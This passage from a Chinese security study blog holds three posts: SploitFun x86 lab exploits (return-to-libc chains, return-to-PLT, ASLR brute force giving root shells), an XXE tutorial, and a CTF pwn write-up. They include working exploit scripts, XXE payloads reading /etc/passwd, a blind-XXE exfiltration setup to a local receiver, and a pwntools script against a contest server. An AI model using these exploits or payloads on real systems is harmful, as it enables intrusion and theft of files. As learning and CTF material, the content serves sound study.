<br>buf += conv(sprintf_arg1) <br>buf += conv(sprintf_arg2) <br>buf += conv(sprintf_arg3) <br>buf += conv(fake_ebp3) <br>buf += conv(sprintf_addr) <br>buf += conv(leave_ret) <br>sprintf_arg1 += <span class="hljs-number">1</span> <br>buf += conv(sprintf_arg1) <br>buf += conv(sprintf_arg2) <br>buf += conv(sprintf_arg3) <br>buf += conv(fake_ebp4) <br>buf += conv(sprintf_addr) <br>buf += conv(leave_ret) <br>sprintf_arg1 += <span class="hljs-number">1</span> <br>buf += conv(sprintf_arg1) <br>buf += conv(sprintf_arg2) <br>buf += conv(sprintf_arg3) <br><span class="hljs-comment">#Dummy - To avoid null byte in fake_ebp4. </span><br>buf += <span class="hljs-string">"A"</span> * <span class="hljs-number">4</span> <br><span class="hljs-comment">#Below stack frame is for seteuid </span><br>buf += conv(fake_ebp5) <br>buf += conv(seteuid_addr) <br>buf += conv(leave_ret) <br><span class="hljs-comment">#Dummy - This arg is zero'd by above four sprintf calls </span><br>buf += <span class="hljs-string">"A"</span> * <span class="hljs-number">4</span> <br><span class="hljs-comment">#Below stack frame is for system </span><br>buf += conv(fake_ebp6) <br>buf += conv(system_addr) <br>buf += conv(leave_ret) <br>buf += conv(binsh_arg) <br><span class="hljs-comment">#Below stack frame is for exit </span><br>buf += conv(fake_ebp7) <br>buf += conv(exit_addr) <br>buf += conv(leave_ret) <br>buf += conv(exit_arg) <br><span class="hljs-built_in">print</span> buf <br><span class="hljs-comment">#print "Calling vulnerable program" </span><br><span class="hljs-comment">#call(["./vuln", buf])</span><br></code></pre></td></tr></table></figure>
<h1 id="实验六绕过aslr-第一部分"><a class="markdownIt-Anchor" href="#实验六绕过aslr-第一部分"></a> 实验六:绕过ASLR – 第一部分</h1>
<p><strong>实验平台:<strong><strong>ubuntu 12.04 LTS</strong></strong>(<strong><strong>x86</strong></strong>)</strong></p>
<p><strong>Glibc</strong>**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**</p>
<h2 id="1原理书中内容"><a class="markdownIt-Anchor" href="#1原理书中内容"></a> 1.原理(书中内容)</h2>
<p>什么是 ASLR?</p>
<p>地址空间布局随机化(ASLR)是随机化的利用缓解技术: 堆栈地址 堆地址 共享库地址 一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过NX 位的方法不会生效,因为攻击者需要知道libc基地址。但这种缓解技术并不完全是万无一失的。</p>
<p>libc函数地址计算如下:</p>
<p>libc函数地址 = libc 基址 + 函数偏移</p>
<p><strong>什么是return-to-plt?</strong></p>
<p>在这种技术中,而不是返回到libc函数(其地址是随机的)攻击者返回到一个函数的PLT(其地址不是随机的-其地址在执行之前已知)。由于 function@PLT 不是随机的,所以攻击者不再需要预测libc的基地址,而是可以简单地返回到 function@PLT 来调用 function 。</p>
<p><strong>什么是PLT</strong>**,如何通过调用 function@PLT** <strong>来调用“函数”?</strong></p>
<p>要了解过程链接表(PLT),先让我简要介绍一下共享库!</p>
<p>与静态库不同,共享库代码段在多个进程之间共享,而其数据段对于每个进程是唯一的。这有助于减少内存和磁盘空间。由于代码段在多个进程之间共享,所以应该只有 read 和 execute 权限,因此动态链接器不能重新定位代码段中存在的数据符号或函数地址(因为它没有写权限)。那么动态链接如何在运行时重新定位共享库符号而不修改其代码段?它使用PIC完成!</p>
<p><strong>什么是PIC</strong>**?**</p>
<p>位置无关代码(PIC)是为了解决这个问题而开发的 - 它确保共享库代码段在多个 进程之间共享,尽管在加载时执行重定位。PIC通过一级间接寻址实现这一点-共享 库代码段不包含绝对虚拟地址来代替全局符号和函数引用,而是指向数据段中的特定表。该表是全局符号和函数绝对虚拟地址的占位符。动态链接器作为重定位的一部分来填充此表。因此,只有重定位数据段被修改,代码段保持不变! 动态链接器以两种不同的方式重新定位PIC中发现的全局符号和函数,如下所述:</p>
<p><strong>全局偏移表(GOT</strong>**)**: 全局偏移表包含每个全局变量的4字节条目,其中4字节条目包含全局变量的地址。 当代码段中的指令引用全局变量时,而不是全局变量的绝对虚拟地址,指令指向 GOT中条目。当加载共享库时,GOT条目由动态链接器重新定位。因此,PIC使用 该表来重新定位具有单个间接级别的全局符号。</p>
<p><strong>过程链接表(PLT</strong>**)**: 过程链接表包含每个全局函数的存根代码。代码段中的调用 指令不直接调用函数( function ),而是调用存根代码 ( function @ PLT )。这个存根代码在动态链接器的帮助下解析了函数地址并将其复制到GOT( GOT [n] )。这次解析仅在函数( function )的第一次调用 期间发生,稍后当代码段中的调用指令调用存根代码( function @PLT )时,而</p>
<p>不是调用动态链接器来解析函数地址( function )存根代码直接从 GOT( GOT [n] )获取功能地址并跳转到它。因此,PIC使用这个表来重新定位 具有两级间接的功能地址。</p>
<p>漏洞代码:</p>
<figure class="highlight c"><table><tr><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><string.h></span></span><br><span class="hljs-comment">/* Eventhough shell() function isnt invoked directly, its needed</span><br><span class="hljs-comment">here since 'system@PLT' and 'exit@PLT' stub code should be pres</span><br><span class="hljs-comment">ent in executable to successfully exploit it. */</span><br><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">shell</span><span class="hljs-params">()</span> </span>{<br>system(<span class="hljs-string">"/bin/sh"</span>);<br><span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);<br>}<br><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[])</span> </span>{<br><span class="hljs-keyword">int</span> i=<span class="hljs-number">0</span>;<br><span class="hljs-keyword">char</span> buf[<span class="hljs-number">256</span>];<br><span class="hljs-built_in">strcpy</span>(buf,argv[<span class="hljs-number">1</span>]);<br><span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n"</span>,buf);<br><span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br><br></code></pre></td></tr></table></figure>
<h2 id="2漏洞利用"><a class="markdownIt-Anchor" href="#2漏洞利用"></a> 2.漏洞利用</h2>
<p>首先反汇编查看程序</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210802102132605.png" alt="image-20210802102132605" style="zoom:80%;">
<p>这样可以看到system和exit的地址</p>
<p>然后使用ida查看‘bin/sh’的地址为0x0804850</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210802102157354.png" alt="image-20210802102157354" style="zoom:80%;">
<p>构建exp如下</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-comment">#exp.py</span><br><span class="hljs-comment">#!/usr/bin/env python</span><br><span class="hljs-keyword">import</span> struct<br><span class="hljs-keyword">from</span> subprocess <span class="hljs-keyword">import</span> call<br>system = <span class="hljs-number">0x8048380</span><br>exit = <span class="hljs-number">0x80483a0</span><br>binsh = <span class="hljs-number">0x080485B0</span> <br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">conv</span>(<span class="hljs-params">num</span>):</span><br> <span class="hljs-keyword">return</span> struct.pack(<span class="hljs-string">"<I"</span>,num)<span class="hljs-comment">#system + exit + system_arg</span><br>buf = <span class="hljs-string">"A"</span> * <span class="hljs-number">272</span><br>buf += conv(system)<br>buf += conv(exit)<br>buf += conv(binsh)<br><span class="hljs-built_in">print</span> <span class="hljs-string">"Calling vulnerable program"</span><br>call([<span class="hljs-string">"./vuln"</span>, buf])<br><br></code></pre></td></tr></table></figure>
<p>成功得到rootshell</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210802102245437.png" alt="image-20210802102245437" style="zoom:80%;">
<h1 id="实验七绕过-aslr-第二部分"><a class="markdownIt-Anchor" href="#实验七绕过-aslr-第二部分"></a> 实验七:绕过 ASLR – 第二部分</h1>
<p><strong>实验平台:<strong><strong>ubuntu 12.04 LTS</strong></strong>(<strong><strong>x86</strong></strong>)</strong></p>
<p><strong>Glibc</strong>**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**</p>
<h2 id="1-原理-4"><a class="markdownIt-Anchor" href="#1-原理-4"></a> 1. 原理</h2>
<p>漏洞代码:</p>
<figure class="highlight c"><table><tr><td class="code"><pre><code class="hljs c"><span class="hljs-comment">//vuln.c</span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><string.h></span></span><br><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[])</span> </span>{<br><span class="hljs-keyword">char</span> buf[<span class="hljs-number">256</span>];<br><span class="hljs-built_in">strcpy</span>(buf,argv[<span class="hljs-number">1</span>]);<br><span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n"</span>,buf);<br>fflush(<span class="hljs-built_in">stdout</span>);<br><span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br><br></code></pre></td></tr></table></figure>
<p>编译过程:</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210802102403136.png" alt="image-20210802102403136" style="zoom:80%;">
<p>验证当随机化打开时不同的 Libc 基址:</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210802102421800.png" alt="image-20210802102421800" style="zoom:80%;">
<p>可以看到,Libc 随机化仅限于3个十六进制位。而且前面只有0xb75和0xb76因此我们可以在最多 256 x2次尝试内,得到 root shell。</p>
<p>所以编写一个循环爆破脚本。</p>
<h2 id="2找到地址构建exp"><a class="markdownIt-Anchor" href="#2找到地址构建exp"></a> 2.找到地址,构建exp</h2>
<p>我们先用指令寻找system以及exit的偏移地址</p>
<p>输入readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit</p>
<p>所以exit的偏移地址是0x00032fe0</p>
<p>输入readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210802102441989.png" alt="image-20210802102441989" style="zoom:80%;">
<p>得到system的偏移地址0x0003f460</p>
<p>输入strings -a -t x /lib/i386-linux-gnu/libc.so.6 |grep “/bin/sh”</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210802102457948.png" alt="image-20210802102457948" style="zoom:80%;">
<p>得到/bin/sh的偏移地址是0x161ff8</p>
<p>我们选择一个libc基址为0xb7525000进行爆破</p>
<p>*这里由于自己找到的/bin/sh基址使用会报错,不知道为啥解决不了,只好使用报告里的/bin/sh地址</p>
<p>构建exp如下:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-comment">#!/usr/bin/env python</span><br><span class="hljs-comment">#-*- coding:utf-8 -*-</span><br><span class="hljs-comment">#exp.py</span><br><span class="hljs-comment">#!/usr/bin/env python</span><br><span class="hljs-keyword">import</span> struct<br><span class="hljs-keyword">from</span> subprocess <span class="hljs-keyword">import</span> call<br>libc_base_addr = <span class="hljs-number">0xb7525000</span> <span class="hljs-comment">#猜测的libc基址</span><br>exit_off = <span class="hljs-number">0x00032fe0</span> <span class="hljs-comment">#exit偏移</span><br>system_off = <span class="hljs-number">0x0003f460</span> <span class="hljs-comment">#system偏移</span><br>system_addr = libc_base_addr + system_off<br>exit_addr = libc_base_addr + exit_off<br>binsh = <span class="hljs-number">0x804827d</span> <span class="hljs-comment">#bin/sh地址</span><br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">conv</span>(<span class="hljs-params">num</span>):</span><br> <span class="hljs-keyword">return</span> struct.pack(<span class="hljs-string">"<I"</span>,num)<span class="hljs-comment">#system + exit + system_arg</span><br>buf = <span class="hljs-string">"A"</span> * <span class="hljs-number">268</span><br>buf += conv(system_addr)<br>buf += conv(exit_addr)<br>buf += conv(binsh)<br><span class="hljs-built_in">print</span> <span class="hljs-string">"Calling vulnerable program"</span><br><span class="hljs-comment">#Multiple tries until we get lucky</span><br>i = <span class="hljs-number">0</span><br><span class="hljs-keyword">while</span> (i < <span class="hljs-number">512</span>):<br> <span class="hljs-built_in">print</span> <span class="hljs-string">"Number of tries: %d"</span> %i<br> i += <span class="hljs-number">1</span><br> ret = call([<span class="hljs-string">"./vuln"</span>, buf])<br> <span class="hljs-keyword">if</span> (<span class="hljs-keyword">not</span> ret):<br> <span class="hljs-keyword">break</span><br> <span class="hljs-keyword">else</span>:<br> <span class="hljs-built_in">print</span> <span class="hljs-string">"Exploit failed"</span><br><br></code></pre></td></tr></table></figure>
<p>如下,循环到365时成功爆破得到rootshell</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210802102532162.png" alt="image-20210802102532162" style="zoom:80%;">
]]></content>
<categories>
<category>PWN学习</category>
<category>学习</category>
</categories>
<tags>
<tag>PWN学习</tag>
</tags>
</entry>
<entry>
<title>XXE 漏洞学习</title>
<url>/2021/05/12/XXE%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/</url>
<content><![CDATA[<h1 id="xxe-漏洞学习"><a class="markdownIt-Anchor" href="#xxe-漏洞学习"></a> XXE 漏洞学习</h1>
<h2 id="原理"><a class="markdownIt-Anchor" href="#原理"></a> 原理</h2>
<p>XXE注入是一种Web安全漏洞,它使攻击者能够干扰应用程序处理XML数据的方式。成功利用漏洞可以使攻击者查看应用程序服务器中的文件,并与应用程序可以访问的任何外部或后端系统进行交互。</p>
<h3 id="xml格式"><a class="markdownIt-Anchor" href="#xml格式"></a> XML格式</h3>
<p>XML代表可扩展标记语言,它像HTML,有一个树状的标签和数据结构,但XML没有预定义的标记,如h1,img,div,等; 标签是根据其表示的数据自定义命名的。</p>
<h3 id="xml实体"><a class="markdownIt-Anchor" href="#xml实体"></a> XML实体</h3>
<p>XML实体是一种表示XML文档中的数据项的方式,而不是使用数据本身。将其视为编程中的变量。</p>
<h3 id="文件类型定义dtd"><a class="markdownIt-Anchor" href="#文件类型定义dtd"></a> 文件类型定义(DTD)</h3>
<p>它包含可以定义XML文档的结构,可以包含的数据值的类型以及其他项目的声明。DTD可以完全独立于XML文档中(称为内部DTD),也可以从其他位置加载(称为外部DTD)。DTD(DOCTYPE)在XML文档开头的元素内声明。</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><code class="hljs xml-dtd"><!DOCTYPE name_for_doctype[ {some_data_here} ]><br></code></pre></td></tr></table></figure>
<h3 id="xml自定义实体"><a class="markdownIt-Anchor" href="#xml自定义实体"></a> XML自定义实体</h3>
<p>自定义实体就像可以在DTD中创建的自定义变量。例如:<!DOCTYPE foo [ <!ENTITY myentity “my entity value" > ]>。这里对实体的任何引用&myentity;都将替换为数据“ my entitiy value"。因此,知道我们可以创建自定义实体后,便可以使用来自应用程序服务器的预定义数据来创建一个自定义实体。</p>
<h3 id="xml外部实体"><a class="markdownIt-Anchor" href="#xml外部实体"></a> XML外部实体</h3>
<p>XML外部实体是一种自定义实体,其定义位于声明它们的DTD之外。</p>
<p>外部实体的声明使用SYSTEM关键字,并且必须指定一个URL,应从该URL加载实体的值。</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><code class="hljs xml-dtd"><!DOCTYPE foo [ <!ENTITY ext SYSTEM “http://attacker-controlled-site.com" > ]><br></code></pre></td></tr></table></figure>
<p>也可以使用其他协议,除了http如file。因此,我们可以从服务器/etc/passwd文件中提取数据。</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><code class="hljs xml-dtd"><!DOCTYPE foo [ <!ENTITY ext SYSTEM “file:///etc/passwd" > ]><br></code></pre></td></tr></table></figure>
<h2 id="domdocumentphp"><a class="markdownIt-Anchor" href="#domdocumentphp"></a> DOMDocument.php</h2>
<p><img src="/2021/05/12/XXE%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/clip_image002.jpg" alt="img"></p>
<p>打开网页看到默认带了一段xml示例代码,这个DOCTYPE中已经有SYSTEM关键字,引用服务器的外部实体然后通过&content使用这个实体检索数据</p>
<p>我们的payload可以写成</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><code class="hljs xml-dtd"><?xml version="1.0"?><br><!DOCTYPE PAYLOAD [<br> <!ENTITY xxe SYSTEM "file:///etc/passwd"><br>]><br> <payload>&xxe;</payload><br></code></pre></td></tr></table></figure>
<p>可以成功读取服务器的passwd文件</p>
<p><img src="/2021/05/12/XXE%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/clip_image004.jpg" alt="img"></p>
<h2 id="simplexmlelementphp"><a class="markdownIt-Anchor" href="#simplexmlelementphp"></a> SimpleXMLElement.php</h2>
<p>查看源码,发现只是把读取的函数换成<code>SimpleXMLElement($data, LIBXML_NOENT)</code></p>
<p><img src="/2021/05/12/XXE%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/clip_image006.jpg" alt="img"></p>
<p>发现原来的payload依然可以用</p>
<p><img src="/2021/05/12/XXE%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/clip_image008.jpg" alt="img"></p>
<p>Payload为</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><code class="hljs xml-dtd"><?xml version="1.0"?><br><!DOCTYPE PAYLOAD [<br> <!ENTITY xxe SYSTEM "file:///etc/passwd"><br>]><br> <payload>&xxe;</payload><br></code></pre></td></tr></table></figure>
<h2 id="simplexml_load_stringphp"><a class="markdownIt-Anchor" href="#simplexml_load_stringphp"></a> simplexml_load_string.php</h2>
<p>查看源码,发现也只改了读取xml的函数为<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>x</mi><mi>m</mi><mi>l</mi><mo>=</mo><mi>s</mi><mi>i</mi><mi>m</mi><mi>p</mi><mi>l</mi><mi>e</mi><mi>x</mi><mi>m</mi><msub><mi>l</mi><mi>l</mi></msub><mi>o</mi><mi>a</mi><msub><mi>d</mi><mi>s</mi></msub><mi>t</mi><mi>r</mi><mi>i</mi><mi>n</mi><mi>g</mi><mo stretchy="false">(</mo></mrow><annotation encoding="application/x-tex">xml = simplexml_load_string(</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathdefault">x</span><span class="mord mathdefault">m</span><span class="mord mathdefault" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault">s</span><span class="mord mathdefault">i</span><span class="mord mathdefault">m</span><span class="mord mathdefault">p</span><span class="mord mathdefault" style="margin-right:0.01968em;">l</span><span class="mord mathdefault">e</span><span class="mord mathdefault">x</span><span class="mord mathdefault">m</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.01968em;">l</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:-0.01968em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathdefault">o</span><span class="mord mathdefault">a</span><span class="mord"><span class="mord mathdefault">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">s</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathdefault">t</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">i</span><span class="mord mathdefault">n</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mopen">(</span></span></span></span>data, ‘SimpleXMLElement’, LIBXML_NOENT);</p>
<p><img src="/2021/05/12/XXE%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/clip_image010.jpg" alt="img"></p>
<p>使用原来的payload依然可以读取到密码</p>
<p><img src="/2021/05/12/XXE%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/clip_image012.jpg" alt="img"></p>
<p>Payload为</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><code class="hljs xml"><span class="hljs-meta"><?xml version="1.0"?></span><br><span class="hljs-meta"><!DOCTYPE <span class="hljs-meta-keyword">PAYLOAD</span> [</span><br><span class="hljs-meta"> <span class="hljs-meta"><!ENTITY <span class="hljs-meta-keyword">xxe</span> <span class="hljs-meta-keyword">SYSTEM</span> <span class="hljs-meta-string">"file:///etc/passwd"</span>></span></span><br><span class="hljs-meta">]></span><br> <span class="hljs-tag"><<span class="hljs-name">payload</span>></span><span class="hljs-symbol">&xxe;</span><span class="hljs-tag"></<span class="hljs-name">payload</span>></span> <br></code></pre></td></tr></table></figure>
<h2 id="blindxxephp"><a class="markdownIt-Anchor" href="#blindxxephp"></a> BlindXXE.php</h2>
<p>打开网页,根据名字提示应该是xxe盲注,百度一下发现这个如果要远程执行需要一个公网ip(前3个都是在github远程环境进行实验),所以这次在本地实验。</p>
<p>首先在需要接收密码的服务器端写一个PHP如下</p>
<figure class="highlight php"><table><tr><td class="code"><pre><code class="hljs PHP"><span class="hljs-meta"><?php</span><br><span class="hljs-variable">$data</span> = <span class="hljs-string">''</span>;<br><span class="hljs-variable">$file_name</span> = <span class="hljs-string">"passwd.txt"</span>;<br><span class="hljs-variable">$file_tmp</span> = fopen(<span class="hljs-variable">$file_name</span>,<span class="hljs-string">"a+"</span>);<br><span class="hljs-variable">$data</span> .= <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'xxe'</span>];<br>fwrite(<span class="hljs-variable">$file_tmp</span>,<span class="hljs-variable">$data</span>);<br>fclose(<span class="hljs-variable">$file_tmp</span>); <br><span class="hljs-meta">?></span><br></code></pre></td></tr></table></figure>
<p>然后建立一个dtd文件内容如下</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><code class="hljs xml-dtd"><!ENTITY % xxe "<!ENTITY &#x25; s SYSTEM 'http://127.0.0.1/phpaudit-XXE-master/1.php?xxe=%d;'> "><br></code></pre></td></tr></table></figure>
<p>最后payload如下</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><code class="hljs xml-dtd"><?xml version="1.0"?><!DOCTYPE test[ <!ENTITY % r SYSTEM "http://127.0.0.1/phpaudit-XXE-master/get.dtd"> <!ENTITY % d SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/phpaudit-XXE-master/etc/passwd"> %r; %s;]> <br></code></pre></td></tr></table></figure>
<p>效果如下</p>
<p><img src="/2021/05/12/XXE%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/clip_image014.jpg" alt="img"></p>
<p>虽然页面会有报错,但是我们的远端服务器确实可以接收到passwd的base64编码</p>
<p><img src="/2021/05/12/XXE%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/clip_image016.jpg" alt="img"></p>
<p>也可以进行解码出密码</p>
<p><img src="/2021/05/12/XXE%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/clip_image018.jpg" alt="img"></p>
]]></content>
<categories>
<category>web学习</category>
<category>学习</category>
</categories>
<tags>
<tag>web学习</tag>
</tags>
</entry>
<entry>
<title>CUMTCTF春季赛-PWN</title>
<url>/2021/03/30/cumtctf/</url>
<content><![CDATA[<p>首先庆祝一下咋队得第二吧(原来是第二的,把密码学交了就显示第一了,当时没做出来)</p>
<p><img src="/2021/03/30/cumtctf/%E7%AC%AC%E4%B8%80.png" alt="图片"></p>
<h1 id="pwn1"><a class="markdownIt-Anchor" href="#pwn1"></a> PWN1</h1>
<p>查看程序,逻辑是读取你输入的字符串,然后和CUMTCTF对比,如果通过就执行bin/sh</p>
<p><img src="/2021/03/30/cumtctf/1.jpg" alt="img"></p>
<p>在比较前下个断点,进行调试,发现此时对比的是地址0x4008d5</p>
<p><img src="/2021/03/30/cumtctf/2.jpg" alt="img"></p>
<p>在看程序中输入的格式是“ld”,说明我们只能输入长整形,所以我们把0x4008d5转换为10进制进行输入4196565,然后调试.,发现此时验证通过了。</p>
<p><img src="/2021/03/30/cumtctf/3.jpg" alt="img"></p>
<p>拿到flag</p>
<p><img src="/2021/03/30/cumtctf/4.jpg" alt="img"></p>
<h1 id="pwn2"><a class="markdownIt-Anchor" href="#pwn2"></a> PWN2</h1>
<p>先检查程序,发现程序开启了canary保护和堆栈不可执行</p>
<p><img src="/2021/03/30/cumtctf/5.jpg" alt="img"></p>
<p>然后查看程序,程序会先执行一个fmt()函数,可以发现这里有一个格式字符串的漏洞,可以泄露canary值</p>
<p><img src="/2021/03/30/cumtctf/6.jpg" alt="img"></p>
<p>然后执行vul()函数,可以看到这个函数读取的buf有0x64字节,而buf只有0x20字节存在栈溢出</p>
<p><img src="/2021/03/30/cumtctf/7.jpg" alt="img"><img src="/2021/03/30/cumtctf/8.jpg" alt="img"></p>
<p>所以解题思路是先泄露canary,然后构建rop链泄露puts函数地址,然后重启程序,再次泄露canary地址,构建rop链getshell</p>
<p><img src="/2021/03/30/cumtctf/9.jpg" alt="img"></p>
<p>因为canary的值距离栈顶是0x8个字节,64位Linux前六个参数用寄存器传递, 后面的才从栈上读取,所以要使var_8是printf函数的第8个参数,因此使用“%7$p”作为printf参数可以泄露出canary的值。所以payload如下</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python">\<span class="hljs-comment">#-*- coding:utf-8 -*-</span><br><br><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br>context.binary=<span class="hljs-string">'pwn2'</span><br><br>context.log_level = <span class="hljs-string">'debug'</span><br><br>elf = ELF(<span class="hljs-string">'./pwn2'</span>)<br><br>libc = ELF(<span class="hljs-string">'./libc.so.6'</span>)<br><br>\<span class="hljs-comment">#p=process('./pwn2')</span><br><br>p = remote(<span class="hljs-string">"1.15.81.218"</span>,<span class="hljs-number">10001</span>)<br><br>pop_rdi=<span class="hljs-number">0x400983</span><br><br>puts_got = elf.got[<span class="hljs-string">'puts'</span>]<br><br>puts_plt = elf.plt[<span class="hljs-string">'puts'</span>]<br><br>start_addr=<span class="hljs-number">0x4006A0</span><br><br> <br><br>p.recvuntil(<span class="hljs-string">"fmtstr,Do you konw it?"</span>)<br><br>\<span class="hljs-comment"># 泄露canary</span><br><br>payload = <span class="hljs-string">"%7$p"</span><br><br>p.sendline(payload)<br><br>Canary=<span class="hljs-built_in">int</span>(p.recvuntil(<span class="hljs-string">"00"</span>),<span class="hljs-number">16</span>)<br><br>log.info(<span class="hljs-string">"Canary:"</span>+<span class="hljs-built_in">hex</span>(Canary)) <br><br>p.recvuntil(<span class="hljs-string">"Remeber canary!!"</span>)<br><br>\<span class="hljs-comment">#构造rop链泄露puts的地址,然后重启程序</span><br><br>payload = <span class="hljs-string">"a"</span>*<span class="hljs-number">24</span>+p64(Canary)+<span class="hljs-string">"a"</span>*<span class="hljs-number">8</span>+p64(pop_rdi)+p64(puts_got) + p64(puts_plt)+p64(start_addr)<br><br>p.send(payload)<br><br>\<span class="hljs-comment">#接收put真实地址</span><br><br>puts_addr = u64(p.recvuntil(<span class="hljs-string">"\x7f"</span>)[-<span class="hljs-number">6</span>:].ljust(<span class="hljs-number">8</span>, <span class="hljs-string">"\x00"</span>)) <br><br>\<span class="hljs-comment">#计算libc基址</span><br><br>libc_base = puts_addr - libc.symbols[<span class="hljs-string">'puts'</span>]<br><br>\<span class="hljs-comment">#获取程序中system的地址和/bin/sh的地址</span><br><br>binsh_addr = libc.search(<span class="hljs-string">"/bin/sh"</span>).<span class="hljs-built_in">next</span>()+libc_base<br><br>system_addr=libc_base+libc.symbols[<span class="hljs-string">'system'</span>]<br><br> <br><br>p.recvuntil(<span class="hljs-string">"fmtstr,Do you konw it?"</span>)<br><br>\<span class="hljs-comment">#再次泄露canary值</span><br><br>payload = <span class="hljs-string">"%7$p"</span><br><br>p.sendline(payload)<br><br>Canary=<span class="hljs-built_in">int</span>(p.recvuntil(<span class="hljs-string">"00"</span>),<span class="hljs-number">16</span>)<br><br>log.info(<span class="hljs-string">"Canary:"</span>+<span 